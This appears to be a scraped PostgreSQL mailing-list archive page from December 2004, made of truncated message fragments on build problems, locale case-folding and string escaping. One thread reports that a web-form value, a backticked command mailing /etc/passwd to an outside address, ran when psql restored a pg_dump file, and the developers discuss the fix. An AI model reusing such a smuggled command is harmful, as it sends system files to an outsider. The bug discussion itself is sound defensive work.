On Sat, 18 Dec 2004, Charles Tse wrote:
> Is this a bug or a feature? I am running Postgresql 7.4.3, with the
> afore-mentioned
> jdbc driver. The OS is Linux 9.1 professional.
>
This is a feature. Check what authentication method pg_hba.conf is
configured to use. Many use non-password ba
On Fri, Dec 17, 2004 at 10:28:20PM -0600, Tony Caduto wrote:
> The function in question does some selects on the table that is being
> inserted and without the indexes working it ends up taking a very long time.
>
> unfortunatly I can't supppy any of the plpgsql function code.
Can you at least p
Hi,
I just installed 8.0 RC1 and then restored my database which was working
perfectly on 7.4.5.
I have a function that imports rows from a comma seperated file and on
7.4.5 using this same function I could get around 1000 rows every 2.5
seconds, now with 8.0 RC1 this has gone way up and it seem
We don't hear it very often, perhaps once every four months. You have
to double single quotes from user data anyway so most of our interfaces
have a function that does this and handles backslashes too.
True, but users also need (or already use) a generic, predictable
SQL-escape function (mere
Is this a bug or a feature? I am running Postgresql 7.4.3, with the
afore-mentioned
jdbc driver. The OS is Linux 9.1 professional.
---(end of broadcast)---
TIP 4: Don't 'kill -9' the postmaster
I wrote:
> This is standard practice for gcc: it tries to use "cleaned up" versions
> of system headers that will not elicit useless warnings from gcc. It's
> a good idea, actually, because the degree of insanity in vendor-supplied
> system headers is pretty depressing. But if the gcc install pro
Bruce Momjian <[EMAIL PROTECTED]> writes:
> So if a backslash command fails we discard the rest of the line?
Well, the point is that right now we *don't*. But I'm thinking we
should.
> How did user data ever get to psql in this way?
As I understand the scenario, it's that a 7.3-or-later pg_dump
Michael Fuhr <[EMAIL PROTECTED]> writes:
> On Fri, Dec 17, 2004 at 12:06:01PM -0500, Tom Lane wrote:
>> Zsolt Pfiszter <[EMAIL PROTECTED]> writes:
>>> We have compiled 8.0 RC1 on SLES 7.0 S/390 2.2.16 kernel, gcc version:
>>> 2.95.2
>>> We run initdb command without error. It created a DB directory
"Belbin, Peter" <[EMAIL PROTECTED]> writes:
> It seems that rather than using the /usr/include/sys/types.h, gcc 3.3.2 is
> instead, using a version of the same file, located at
> /usr/local/lib/gcc-lib/sparc-sun-solaris2.10/3.3.2/include/sys, which does
> not have a definition for ctid_t
This is s
Tom Lane wrote:
> Bruce Momjian <[EMAIL PROTECTED]> writes:
> > Tom, would you show an example of the change in behavior? I didn't
> > understand the details.
>
> In CVS tip:
>
> regression=# \N `touch wrong1` \i `touch wrong2`
> Invalid command \N. Try \? for help.
> : No such file or directory
Bruce Momjian <[EMAIL PROTECTED]> writes:
> Tom, would you show an example of the change in behavior? I didn't
> understand the details.
In CVS tip:
regression=# \N `touch wrong1` \i `touch wrong2`
Invalid command \N. Try \? for help.
: No such file or directory
regression=#
Both wrong1 and wro
Tom Lane wrote:
> I wrote:
> > Still, it looks like it would be relatively easy to suppress evaluation
> > of backticked arguments once we recognize that the backslash command has
> > failed, and I would say that that's a reasonable change to make on the
> > principle of least surprise.
>
> On loo
Ken Johanson wrote:
>
> >We have a TODO item:
> >
> > * Allow backslash handling in quoted strings to be disabled for
> > portability
> >
> > The use of C-style backslashes (.e.g. \n, \r) in quoted strings is not
> > SQL-spec compliant, so allow such handling to be disable
> On looking at this further, I wonder if it wouldn't be a good idea for
> a failed backslash command to cause the rest of the input line to be
> discarded.
I think that is reasonable.
Thomer
---(end of broadcast)---
TIP 9: the planner will ignore
On Fri, Dec 17, 2004 at 12:06:01PM -0500, Tom Lane wrote:
> Zsolt Pfiszter <[EMAIL PROTECTED]> writes:
> > We have compiled 8.0 RC1 on SLES 7.0 S/390 2.2.16 kernel, gcc version:
> > 2.95.2
> > We run initdb command without error. It created a DB directory structure,
> > but didn't create some schem
Christoph Haller <[EMAIL PROTECTED]> writes:
> test stats... FAILED
Check the postmaster.log file to find out why the stats collector didn't
start.
regards, tom lane
---(end of broadcast)---
TIP 3: if posting
"Hesse, Hendrik" <[EMAIL PROTECTED]> writes:
> When you use the UPPER or LOWER function with German letters (ä,ö,ü) this
> letters stay in lower/upper case.
Sounds like you picked the wrong locale setting, or an invalid
combination of locale and encoding.
regards, tom lane
I wrote:
> Still, it looks like it would be relatively easy to suppress evaluation
> of backticked arguments once we recognize that the backslash command has
> failed, and I would say that that's a reasonable change to make on the
> principle of least surprise.
On looking at this further, I wonder
I fond a problem at the RC1 of PostgreSQL (W32 - Version)
When you use the UPPER or LOWER function with German letters (ä,ö,ü) this
letters stay in lower/upper case.
You can reproduce this error with this simple examples:
select upper('ü');
select upper('Tüte');
Test
ID | sText
---
gmake check result
template1=# select version();
version
---
PostgreSQL 8.0.0rc1 on hppa2.0w-hp-hpux11.00, compiled by GCC gcc (GCC)
3.3.1
(1 row)
1 of 96 tests failed
test stats
Title: RE: [BUGS] solaris 10 with gcc 3.3.2
It seems that rather than using the /usr/include/sys/types.h, gcc 3.3.2 is instead, using a version of the same file, located at /usr/local/lib/gcc-lib/sparc-sun-solaris2.10/3.3.2/include/sys, which does not have a definition for ctid_t
Presumedly
We have a TODO item:
* Allow backslash handling in quoted strings to be disabled for
portability
The use of C-style backslashes (.e.g. \n, \r) in quoted strings is not
SQL-spec compliant, so allow such handling to be disabled.
Unfortunately that's all w
"Thomer M. Gil" <[EMAIL PROTECTED]> writes:
> More details and the, in my opinion, somewhat reckless response by one
> of the Debian postgresql package maintainers are available at:
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=285844
The response you're going to get here is not a lot differe
Short summary:
1. Someone wrote "`mail [EMAIL PROTECTED] < /etc/passwd`" in a web form;
this string was stored in a postgresql database.
2. We ran pg_dump
3. We ran psql (not the same version as pg_dump!)
4. [EMAIL PROTECTED] receives /etc/passwd
More details and the,
Zsolt Pfiszter <[EMAIL PROTECTED]> writes:
> We have compiled 8.0 RC1 on SLES 7.0 S/390 2.2.16 kernel, gcc version:
> 2.95.2
> We run initdb command without error. It created a DB directory structure,
> but didn't create some schemas in template1.
Hmm, somebody reported something similar a couple
Hi All!
Sorry, if my problem is not a bug, I've searched for a reported issue, but
I haven't found one :(
We have compiled 8.0 RC1 on SLES 7.0 S/390 2.2.16 kernel, gcc version:
2.95.2
We run initdb command without error. It created a DB directory structure,
but didn't create some schemas in
26 matches
Mail list logo
